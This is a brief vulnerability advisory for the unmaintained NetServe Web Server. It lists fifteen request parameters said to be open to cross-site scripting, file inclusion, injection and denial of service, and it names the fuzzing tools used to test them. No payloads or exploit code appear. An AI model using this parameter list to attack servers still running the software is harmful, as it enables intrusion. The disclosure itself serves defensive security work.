NetServe Web Server is vulnerable to multiple vulnerabilities including cross-site scripting, remote file inclusion, local file inclusion, script insertion, html injection, denial of service, etc. Given that the software is not maintained anymore and the last update was in 2006, there are still a few that uses it. All the parameters are susceptible to the above attacks. The list of the parameters used by the web application are(post/get):
- Action
- EnablePasswords
- _Checks
- _ValidationError
- ListIndex
- SiteList_0
- SSIErrorMessage
- SSIExtensions
- SSITimeFormat
- SSIabbrevSize
- EnableSSI
- LogCGIErrors
- LoggingInterval
- ExtendedLogging
- CGITimeOut
The tests were made using PowerFuzzer and OWASP ZAP. Attackers can exploit any of the issues using a web browser.
